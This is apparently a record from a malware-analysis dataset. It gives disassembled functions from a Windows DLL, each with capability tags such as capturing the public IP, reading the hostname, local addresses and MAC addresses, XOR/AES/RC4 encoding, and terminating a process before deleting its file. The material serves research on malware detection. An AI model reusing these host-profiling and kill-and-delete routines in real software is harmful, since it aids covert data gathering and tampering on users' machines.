joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18008f82c
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
lea rbp, [rax - 0x5f]
sub rsp, 0xf0
mov qword [rbp - 0x39], 0xfffffffffffffffe
mov qword [rax + 0x20], rbx
mov rdi, rcx
cmp qword [0x1802c69c8], 0
jne 0x18008f89f
mov rdx, qword [rcx + 0x18]
cmp rdx, 0x10
jb 0x18008f895
inc rdx
mov rcx, qword [rcx]
mov esi, 0x1000
cmp rdx, rsi
jb 0x18008f890
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18008fa31
mov rcx, r8
call fcn.18009e42c
mov ebx, reloc.WS2_32.dll_ntohs
jmp 0x18008fa06
xor ecx, ecx
call fcn.1801d276c
mov qword [rbp + 0x77], rax
lea rcx, [rbp + 0x77]
call fcn.1801d2ae8
mov rbx, rax
xor edx, edx
lea r8d, [rdx + 0x64]
lea rcx, [rbp - 0x29]
call fcn.1801c27d0
mov ecx, dword [rbx]
mov dword [rsp + 0x20], ecx
mov r9d, dword [rbx + 4]
mov r8d, dword [rbx + 8]
lea rdx, str._d__d__d:
lea rcx, [rbp - 0x29]
call fcn.18005f93c
mov r8, rdi
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 0x79]
call fcn.180062d18
nop
and dword [rbp + 0x6f], 0
lea r8, [0x180281514]
lea rdx, [rbp - 0x79]
lea rcx, [rbp - 0x59]
call fcn.180062c08
mov rdx, rax
lea rcx, [rbp - 0x79]
call fcn.18005fbc8
mov esi, 0x1000
mov rdx, qword [rbp - 0x41]
cmp rdx, 0x10
jb 0x18008f954
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, rsi
jb 0x18008f94f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008fa37
call fcn.18009e42c
movdqa xmm0, xmmword [0x180283730]
movdqu xmmword [rbp - 0x49], xmm0
mov byte [rbp - 0x59], 0
lea rdx, [rbp - 0x79]
cmp qword [rbp - 0x61], 0x10
cmovae rdx, qword [rbp - 0x79]
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x6f]
mov r8d, dword [rbp - 0x69]
mov rcx, qword [0x1802c69c8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop
mov rdx, qword [rbp - 0x61]
cmp rdx, 0x10
jb 0x18008f9c2
inc rdx
mov rcx, qword [rbp - 0x79]
mov rax, rcx
cmp rdx, rsi
jb 0x18008f9bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008fa25
call fcn.18009e42c
and qword [rbp - 0x69], 0
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x61], rbx
mov byte [rbp - 0x79], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x18008fa06
inc rdx
mov rcx, qword [rdi]
cmp rdx, rsi
jb 0x18008fa01
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18008fa2b
mov rcx, r8
call fcn.18009e42c
and qword [rdi + 0x10], 0
mov qword [rdi + 0x18], rbx
mov byte [rdi], 0
mov rbx, qword [rsp + 0x128]
add rsp, 0xf0
pop rdi
pop rsi
pop rbp
ret
call fcn.1801c897c
nop
call fcn.1801c897c
int3
call fcn.1801c897c
nop
call fcn.1801c897c
int3
Function at 0x18008fa40
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x430
xor ebp, ebp
mov rbx, rcx
xor r9d, r9d
mov dword [rsp + 0x20], ebp
xor r8d, r8d
lea rcx, str.PG09621
lea edx, [rbp + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
jne 0x18008fa8a
lea rdx, [0x180281130]
jmp 0x18008fb12
mov qword [rsp + 0x28], rbp
lea rdx, str.https:__api.ipify.org
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
jne 0x18008fac0
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x18008fa7e
lea r9, [rsp + 0x448]
mov dword [rsp + 0x448], ebp
mov r8d, 0x400
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rcx, rsi
test eax, eax
jne 0x18008faf2
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x18008fab5
mov eax, dword [rsp + 0x448]
mov byte [rsp + rax + 0x30], bpl
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rsp + 0x30]
mov qword [rbx + 0x10], rbp
mov rcx, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], bpl
call fcn.18005a838
lea r11, [rsp + 0x430]
mov rax, rbx
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x18008fbf4
Capabilities:
Get hostname
Get local ipv4 addresses
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x1d0
mov r14, rdx
mov rbx, rcx
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x18008fc34
lea rcx, str.WSAStartup_failed_n
call fcn.18009c70c
jmp 0x18008fda0
mov edx, 0xff
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostname]
lea rdi, [0x180282414]
test eax, eax
jne 0x18008fc81
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x18008fc6f
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
jmp 0x18008fc76
lea r8, str.255.255.255.188
mov rdx, rdi
mov rcx, rbx
call fcn.18005f93c
mov ecx, 0x1c0
mov dword [rsp + 0x200], ecx
call fcn.1801ca874
mov rbx, rax
test rax, rax
je 0x18008fd9a
xor r8d, r8d
lea rax, [rsp + 0x200]
mov r9, rbx
mov qword [rsp + 0x20], rax
lea esi, [r8 + 0x10]
lea ebp, [rsi - 0xe]
mov edx, esi
mov ecx, ebp
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
cmp eax, 0x6f
jne 0x18008fcf4
mov rcx, rbx
call fcn.1801ca87c
mov ecx, dword [rsp + 0x200]
call fcn.1801ca874
mov rbx, rax
test rax, rax
jne 0x18008fcf4
lea rcx, str.Memory_allocation_failed_for_IP_ADAPTER_ADDRESSES_struct_n
call fcn.18009c70c
jmp 0x18008fd9a
lea rax, [rsp + 0x200]
mov r9, rbx
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, esi
mov ecx, ebp
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
test eax, eax
jne 0x18008fd7b
mov rdi, rbx
test rbx, rbx
je 0x18008fd9a
cmp dword [rdi + 0x68], 1
je 0x18008fd2e
mov rdi, qword [rdi + 8]
test rdi, rdi
jne 0x18008fd1d
jmp 0x18008fd8d
mov r8d, dword [rdi + 0x58]
xor ebp, ebp
xor esi, esi
test r8d, r8d
je 0x18008fd8d
movzx r9d, byte [rsi + rdi + 0x50]
mov eax, send
sub eax, ebp
movsxd rcx, ebp
movsxd rdx, eax
add rcx, r14
lea eax, [r8 - 1]
lea r8, str._.2X_n
cmp esi, eax
je 0x18008fd67
lea r8, str._.2X:
call fcn.18009c6b4
mov r8d, dword [rdi + 0x58]
add ebp, eax
inc esi
cmp esi, r8d
jb 0x18008fd3b
jmp 0x18008fd8d
lea r8, str.00_00_0A_0B_0C
mov rdx, rdi
mov rcx, r14
call fcn.18005f93c
test rbx, rbx
je 0x18008fd9a
mov rcx, rbx
call fcn.1801ca87c
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x18008fdb8
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x408]
sub rsp, 0x4e0
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov r14, rcx
lea rcx, [rsp + 0x30]
call fcn.18005aa88
nop
mov rdi, qword [rsp + 0x40]
lea rbx, [rdi + 1]
mov rcx, rbx
call fcn.18009ed08
mov r13, rax
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rdx, qword [rsp + 0x30]
mov r8, rbx
mov rcx, rax
call fcn.1801c2370
mov rcx, rbx
call fcn.18009ed08
mov rsi, rax
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rdx, qword [rsp + 0x30]
mov r8, rbx
mov rcx, rax
call fcn.1801c2370
lea r15, vtable.AES.0
mov qword [rsp + 0x60], r15
xor ebx, ebx
mov byte [rsp + 0x68], bl
mov qword [rbp + 0x32c], rbx
mov dword [rbp + 0x334], ebx
lea rcx, [rsp + 0x60]
call fcn.18005a174
cmp byte [rsp + 0x68], bl
je 0x18008ff30
test rdi, rdi
je 0x18008ff30
movsxd rcx, dword [rbp + 0x330]
xor edx, edx
mov rax, rdi
div rcx
test rdx, rdx
jne 0x18008ff30
mov r12d, ebx
mov r15, r13
mov rbx, rsi
test rax, rax
je 0x18008ff27
mov r8, rbx
mov rdx, r15
lea rcx, [rsp + 0x60]
call fcn.180059e4c
mov rcx, rbx
mov eax, dword [rbp + 0x330]
cmp byte [rsp + 0x68], 0
je 0x18008fef5
xor r8d, r8d
test eax, eax
jle 0x18008fef5
lea rdx, [rbp + 0x358]
sub rdx, rbx
mov al, byte [rdx + rcx]
xor byte [rcx], al
inc rcx
inc r8d
mov eax, dword [rbp + 0x330]
cmp r8d, eax
jl 0x18008fedf
movsxd r8, eax
mov rdx, r15
lea rcx, [rbp + 0x358]
call fcn.1801c2370
movsxd rcx, dword [rbp + 0x330]
add r15, rcx
add rbx, rcx
inc r12d
xor edx, edx
mov rax, rdi
div rcx
movsxd rcx, r12d
cmp rcx, rax
jb 0x18008feae
lea r15, vtable.AES.0
xor ebx, ebx
movsx r9, byte [rsi + rdi - 1]
lea edx, [rdi - 1]
mov r8, rdi
sub r8, r9
movsxd rax, edx
cmp rax, r8
jb 0x18008ff6e
lea rcx, [rax + rsi]
cmp byte [rcx], r9b
jne 0x18008ff61
mov byte [rcx], bl
dec edx
dec rcx
movsxd rax, edx
cmp rax, r8
jae 0x18008ff4b
jmp 0x18008ff6e
mov r8, rdi
xor edx, edx
mov rcx, rsi
call fcn.1801c27d0
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], reloc.WS2_32.dll_ntohs
mov byte [r14], bl
mov rdx, rsi
mov rcx, r14
call fcn.18005a838
mov rcx, r13
call fcn.18009e42c
mov rcx, rsi
call fcn.18009e42c
nop
mov qword [rsp + 0x60], r15
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x18008ffd7
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008ffd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008fffb
call fcn.18009e42c
mov rax, r14
lea r11, [rsp + 0x4e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1801c897c
int3
Function at 0x180090004
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3e8]
sub rsp, 0x4c0
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rbx, rdx
mov r14, qword [rdx + 0x10]
mov r12, r14
shr r12, 4
lea r13d, [r12 + 1]
shl r13d, 4
movsxd r15, r13d
inc r15
mov rcx, r15
call fcn.18009ed08
mov rsi, rax
mov r8, r15
xor edx, edx
mov rcx, rax
call fcn.1801c27d0
mov edi, reloc.WS2_32.dll_recv
cmp qword [rbx + 0x18], rdi
jb 0x18009007a
mov rbx, qword [rbx]
mov rdx, rbx
mov rcx, rsi
call fcn.1801d07b0
and r14d, 0xf
sub edi, r14d
test edi, edi
jle 0x1800900ab
movsxd rax, r12d
shl rax, 4
mov ecx, r14d
add rax, rsi
add rcx, rax
mov r8d, edi
mov dl, dil
call fcn.1801c27d0
movsxd rdi, r13d
xor r14d, r14d
mov byte [rdi + rsi], r14b
mov rcx, r15
call fcn.18009ed08
mov rbx, rax
mov r8, r15
xor edx, edx
mov rcx, rax
call fcn.1801c27d0
lea rax, vtable.AES.0
mov qword [rsp + 0x40], rax
mov byte [rsp + 0x48], r14b
mov qword [rbp + 0x30c], r14
mov dword [rbp + 0x314], r14d
lea rcx, [rsp + 0x40]
call fcn.18005a174
mov r8b, byte [rsp + 0x48]
test r8b, r8b
je 0x1800901be
test r13d, r13d
je 0x1800901be
movsxd r9, dword [rbp + 0x310]
xor edx, edx
mov rax, rdi
div r9
test rdx, rdx
jne 0x1800901be
mov r12d, r14d
mov r14, rsi
mov r15, rbx
test rax, rax
je 0x1800901be
lea rcx, [rbp + 0x338]
test r8b, r8b
je 0x18009016a
xor edx, edx
test r9d, r9d
jle 0x18009016a
lea rax, [rbp + 0x338]
mov r8, r14
sub r8, rax
mov al, byte [r8 + rcx]
xor byte [rcx], al
inc rcx
inc edx
cmp edx, dword [rbp + 0x310]
jl 0x180090157
mov r8, r15
lea rdx, [rbp + 0x338]
lea rcx, [rsp + 0x40]
call fcn.180059b2c
movsxd r8, dword [rbp + 0x310]
mov rdx, r15
lea rcx, [rbp + 0x338]
call fcn.1801c2370
movsxd r9, dword [rbp + 0x310]
add r14, r9
add r15, r9
inc r12d
xor edx, edx
mov rax, rdi
div r9
movsxd rcx, r12d
cmp rcx, rax
jae 0x1800901be
mov r8b, byte [rsp + 0x48]
jmp 0x180090137
mov r8d, r13d
mov rdx, rbx
mov rcx, qword [rbp + 0x3f0]
call fcn.18005a8bc
mov rcx, rsi
call fcn.18009e42c
mov rcx, rbx
call fcn.18009e42c
nop
mov rax, qword [rbp + 0x3f0]
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x1800957c8
Capabilities:
Create thread

Disassembly:
push rsi
sub rsp, 0x50
cmp edx, 1
jne 0x180095868
mov qword [0x1802c73f8], rcx
lea rsi, str.QGHappydfFagbGH
mov r8, rsi
mov ecx, 0xf001f
call qword [sym.imp.KERNEL32.dll_OpenFileMappingA]
test rax, rax
je 0x180095829
and qword [rsp + 0x40], 0
lea rdx, [0x1802829c0]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x30], 0
call fcn.18005a838
lea rcx, [rsp + 0x30]
call fcn.18008f82c
jmp 0x180095868
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x20], 0xa
or rcx, 0xffffffffffffffff
lea r8d, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
and qword [rsp + 0x28], 0
lea r8, [0x180094f08]
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x50
pop rsi
ret

Function at 0x180095874
Capabilities:
Delete file
Print debug messages
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x250
xor eax, eax
lea rcx, [rsp + 0x40]
mov rbx, rdx
mov qword [rsp + 0x20], rax
xor edx, edx
mov qword [rsp + 0x28], rax
mov r8d, 0x208
mov dword [rsp + 0x30], eax
call fcn.1801c27d0
mov r8, qword [rbx + 8]
lea rdx, [0x1802831ec]
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8, qword [rbx + 0x10]
lea rdx, [0x1802831ec]
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, [rsp + 0x20]
call fcn.1801d16c4
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test ebx, ebx
jne 0x18009591a
lea rcx, [0x1802831f8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x180095932
lea rcx, [0x180283208]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180095948
Function at 0x1800e82e0
Capabilities:
Encode data using xor

Disassembly:
push rbx
movsxd rbx, r9d
mov r10, r8
mov r11, rdx
cmp rdx, r8
je 0x1800e8442
mov qword [rsp + 0x10], rsi
lea rsi, [rcx - 1]
not rcx
shr rsi, 0x3f
shr rcx, 0x3f
and rsi, rcx
mov ecx, dword [rdx + 8]
xor ecx, dword [r8 + 8]
dec rsi
and ecx, esi
xor dword [rdx + 8], ecx
xor dword [r8 + 8], ecx
mov edx, dword [r8 + 0x10]
movq xmm4, rsi
xor edx, dword [r11 + 0x10]
and edx, esi
punpcklqdq xmm4, xmm4
xor dword [r11 + 0x10], edx
xor dword [r8 + 0x10], edx
mov ecx, dword [r11 + 0x14]
mov edx, dword [r8 + 0x14]
xor rdx, rcx
and edx, 4
and rdx, rsi
mov eax, edx
xor eax, ecx
xor ecx, ecx
mov dword [r11 + 0x14], eax
xor dword [r8 + 0x14], edx
mov edx, ecx
test r9d, r9d
jle 0x1800e8402
cmp ebx, 2
jb 0x1800e8402
mov r9, qword [r8]
lea rax, [rbx - 1]
mov r8, qword [r11]
mov qword [rsp + 0x18], rdi
lea rdi, [rbx - 1]
lea rdi, [r9 + rdi*8]
lea rax, [r8 + rax*8]
cmp r9, rax
ja 0x1800e8391
cmp rdi, r8
jae 0x1800e83fd
cmp r9, r10
ja 0x1800e839b
cmp rdi, r10
jae 0x1800e83fd
cmp r9, r11
ja 0x1800e83a5
cmp rdi, r11
jae 0x1800e83fd
cmp r8, r10
ja 0x1800e83af
cmp rax, r10
jae 0x1800e83fd
cmp r8, r11
ja 0x1800e83b9
cmp rax, r11
jae 0x1800e83fd
mov eax, ebx
and eax, 0xfffffffe
nop
movdqu xmm2, xmmword [rcx + r9]
add edx, 2
movdqu xmm1, xmmword [rcx + r8]
lea rcx, [rcx + 0x10]
movdqa xmm3, xmm2
pxor xmm3, xmm1
pand xmm3, xmm4
movdqa xmm0, xmm3
pxor xmm3, xmm2
pxor xmm0, xmm1
movdqu xmmword [rcx + r8 - 0x10], xmm0
movdqu xmmword [rcx + r9 - 0x10], xmm3
cmp edx, eax
jl 0x1800e83c0
mov rdi, qword [rsp + 0x18]
movsxd rax, edx
cmp rax, rbx
jge 0x1800e843d
nop word [rax + rax]
mov rcx, qword [r11]
mov rdx, qword [rcx + rax*8]
lea r8, [rcx + rax*8]
mov rcx, qword [r10]
mov r9, qword [rcx + rax*8]
xor r9, rdx
and r9, rsi
xor rdx, r9
mov qword [r8], rdx
mov rcx, qword [r10]
xor qword [rcx + rax*8], r9
inc rax
cmp rax, rbx
jl 0x1800e8410
mov rsi, qword [rsp + 0x10]
pop rbx
ret
Function at 0x1800ea300
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
mov r10, rdx
xor r11b, r11b
xor edx, edx
mov rsi, r9
mov rbx, rcx
test rcx, rcx
je 0x1800ea414
test r10, r10
je 0x1800ea414
movzx eax, byte [rcx]
test r8d, r8d
jne 0x1800ea345
cmp al, 0x7f
jbe 0x1800ea40d
mov edx, 1
mov eax, edx
add rax, r10
jmp 0x1800ea41c
mov r11b, 0xff
cmp al, 0x80
jbe 0x1800ea35b
mov edx, 1
mov eax, edx
add rax, r10
jmp 0x1800ea41c
jne 0x1800ea40d
mov eax, 1
lea rcx, [r10 - 1]
cmp r10, rax
jbe 0x1800ea3fe
cmp rcx, 8
jb 0x1800ea3f0
and ecx, 7
mov rdx, r10
sub rdx, rcx
xorps xmm3, xmm3
xorps xmm2, xmm2
nop dword [rax + rax]
movd xmm1, dword [rax + rbx]
xorps xmm0, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm1, xmm0
por xmm1, xmm3
movdqa xmm3, xmm1
movd xmm1, dword [rax + rbx + 4]
punpcklbw xmm1, xmm0
add rax, 8
punpcklwd xmm1, xmm0
por xmm1, xmm2
movdqa xmm2, xmm1
cmp rax, rdx
jb 0x1800ea390
por xmm2, xmm3
movdqa xmm0, xmm2
psrldq xmm0, 8
por xmm2, xmm0
movdqa xmm0, xmm2
psrldq xmm0, 4
por xmm2, xmm0
movd edx, xmm2
cmp rax, r10
jae 0x1800ea3fe
nop
movzx ecx, byte [rax + rbx]
inc rax
or edx, ecx
cmp rax, r10
jb 0x1800ea3f0
neg edx
sbb r11b, r11b
movzx r11d, r11b
mov edx, r11d
and edx, 1
mov eax, edx
add rax, r10
jmp 0x1800ea41c
mov eax, 1
mov r10, rdx
mov qword [rsp + 0x10], rdi
test rsi, rsi
je 0x1800ea475
mov rdi, qword [r9]
test rdi, rdi
je 0x1800ea475
movzx r8d, r11b
lea r9, [rbx + r10]
and r8d, 1
mov byte [rdi], r11b
test r10, r10
je 0x1800ea472
mov ebx, edx
add rbx, rdi
nop word [rax + rax]
movzx edx, byte [r9 - 1]
lea r9, [r9 - 1]
dec r10
movzx ecx, r11b
xor edx, ecx
add r8d, edx
mov byte [rbx + r10], r8b
shr r8d, 8
test r10, r10
jne 0x1800ea450
add qword [rsi], rax
mov rdi, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x18]
pop rsi
ret

Function at 0x1800f8640
Capabilities:
Set thread local storage value

Disassembly:
mov eax, 0x28
call fcn.18009f1d0
sub rsp, rax
mov ecx, dword [rcx]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
add rsp, 0x28
ret

Function at 0x18010c740
Capabilities:
Get thread local storage value

Disassembly:
mov eax, 0x28
call fcn.18009f1d0
sub rsp, rax
lea rcx, [0x1802c5470]
add rsp, 0x28
jmp fcn.1800f84a0
Function at 0x1801172f0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0xd8
call fcn.18009f1d0
sub rsp, rax
mov rax, qword [0x1802a0088]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov r14, qword [rsp + 0x140]
xor r12d, r12d
mov rax, qword [rcx]
mov rbp, r9
movsxd rbx, r8d
mov rsi, rdx
mov qword [rsp + 0x20], r14
mov rdi, rcx
lea r15d, [r12 + 1]
mov r13d, r12d
test r9, r9
je 0x18011735f
cmp r9, rax
je 0x180117357
test rdx, rdx
je 0x1801173d0
test r8d, r8d
js 0x1801173d0
mov r13d, r15d
mov qword [rcx], r9
jmp 0x180117367
test rax, rax
je 0x1801173d0
mov rbp, rax
mov rcx, rbp
call fcn.180107400
test al, 2
jne 0x1801173d0
test rsi, rsi
je 0x180117438
mov rcx, rbp
mov r13d, r15d
call fcn.180107910
cmp eax, 0x90
jg 0x1801173d0
cmp eax, ebx
jge 0x1801173f6
mov rcx, qword [rdi + 8]
mov r8, r14
mov rdx, rbp
call fcn.180107d10
test eax, eax
je 0x1801173d0
mov rcx, qword [rdi + 8]
mov r8, rbx
mov rdx, rsi
call fcn.180107f70
test eax, eax
je 0x1801173d0
mov rcx, qword [rdi + 8]
lea rsi, [rdi + 0x20]
mov r8, rsi
lea rdx, [rdi + 0x24]
call fcn.180107c30
test eax, eax
jne 0x180117413
xor eax, eax
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.18009f190
add rsp, 0xd8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
cmp ebx, 0x90
ja 0x1801173d0
mov r8, rbx
lea rcx, [rdi + 0x24]
mov rdx, rsi
call fcn.1801c2370
lea rsi, [rdi + 0x20]
mov dword [rsi], ebx
mov ecx, dword [rsi]
cmp ecx, 0x90
je 0x180117441
mov eax, ecx
mov r8d, 0x90
sub r8d, ecx
xor edx, edx
lea rcx, [rdi + 0x24]
add rcx, rax
call fcn.1801c27d0
jmp 0x180117441
test r13d, r13d
je 0x180117516
lea r14, [rsp + 0x30]
mov esi, 0x48
sub r14, rdi
lea rbx, [rdi + 0x25]
lea r15, [rsp + 0x31]
mov rcx, rbx
sub r15, rdi
mov edx, esi
nop
movzx eax, byte [rcx - 1]
lea rcx, [rcx + 2]
xor al, 0x36
mov byte [r14 + rcx - 0x27], al
movzx eax, byte [rcx - 2]
xor al, 0x36
mov byte [r15 + rcx - 0x27], al
sub rdx, 1
jne 0x180117460
mov r8, qword [rsp + 0x20]
mov rdx, rbp
mov rcx, qword [rdi + 0x10]
call fcn.180107d10
test eax, eax
je 0x180117529
mov rcx, rbp
call fcn.180107910
mov rcx, qword [rdi + 0x10]
lea rdx, [rsp + 0x30]
movsxd r8, eax
call fcn.180107f70
test eax, eax
je 0x180117529
nop word [rax + rax]
movzx eax, byte [rbx - 1]
lea rbx, [rbx + 2]
xor al, 0x5c
mov byte [rbx + r14 - 0x27], al
movzx eax, byte [rbx - 2]
xor al, 0x5c
mov byte [rbx + r15 - 0x27], al
sub rsi, 1
jne 0x1801174c0
mov r8, qword [rsp + 0x20]
mov rdx, rbp
mov rcx, qword [rdi + 0x18]
call fcn.180107d10
test eax, eax
je 0x180117529
mov rcx, rbp
call fcn.180107910
mov rcx, qword [rdi + 0x18]
lea rdx, [rsp + 0x30]
movsxd r8, eax
call fcn.180107f70
test eax, eax
je 0x180117529
lea r15d, [rsi + 1]
mov rdx, qword [rdi + 0x10]
mov rcx, qword [rdi + 8]
call fcn.180107fe0
test eax, eax
cmovne r12d, r15d
test r13d, r13d
je 0x18011753d
mov edx, 0x90
lea rcx, [rsp + 0x30]
call fcn.180001240
mov eax, r12d
jmp 0x1801173d2
Function at 0x18013f400
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
mov eax, 0x20
call fcn.18009f1d0
sub rsp, rax
mov rbx, rcx
mov rsi, rdx
mov rcx, rdx
call fcn.1800e8710
test eax, eax
je 0x18013f43f
xor edx, edx
mov rcx, rbx
call fcn.1800e8b90
mov eax, 1
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret
mov qword [rsp + 0x30], rbp
mov ebp, dword [rsi + 8]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], r14
mov r14, qword [rsi]
lea eax, [rbp - 1]
movsxd rdi, eax
xor eax, eax
mov rcx, qword [r14 + rdi*8]
cmp rcx, 1
sete al
sub ebp, eax
cmp rsi, rbx
je 0x18013f487
mov edx, ebp
mov rcx, rbx
call fcn.1800e9130
test rax, rax
je 0x18013f4ed
mov eax, dword [rsi + 0x10]
mov dword [rbx + 0x10], eax
mov rcx, qword [r14 + rdi*8]
mov rax, qword [rbx]
mov rdx, rcx
xor rdx, 1
inc rdx
neg rdx
shl rdx, 0x3f
lea r8, [rax + rdi*8]
shr rcx, 1
je 0x18013f4a7
mov qword [r8], rcx
test rdi, rdi
jle 0x18013f4de
sub r14, rax
nop
mov rcx, qword [r14 + r8 - 8]
lea r8, [r8 - 8]
mov rax, rcx
dec rdi
shr rax, 1
or rax, rdx
mov rdx, rcx
xor rdx, 1
mov qword [r8], rax
inc rdx
neg rdx
shl rdx, 0x3f
test rdi, rdi
jg 0x18013f4b0
mov dword [rbx + 8], ebp
test ebp, ebp
jne 0x18013f4e8
mov dword [rbx + 0x10], ebp
mov eax, 1
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov r14, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret

Function at 0x1801425d0
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
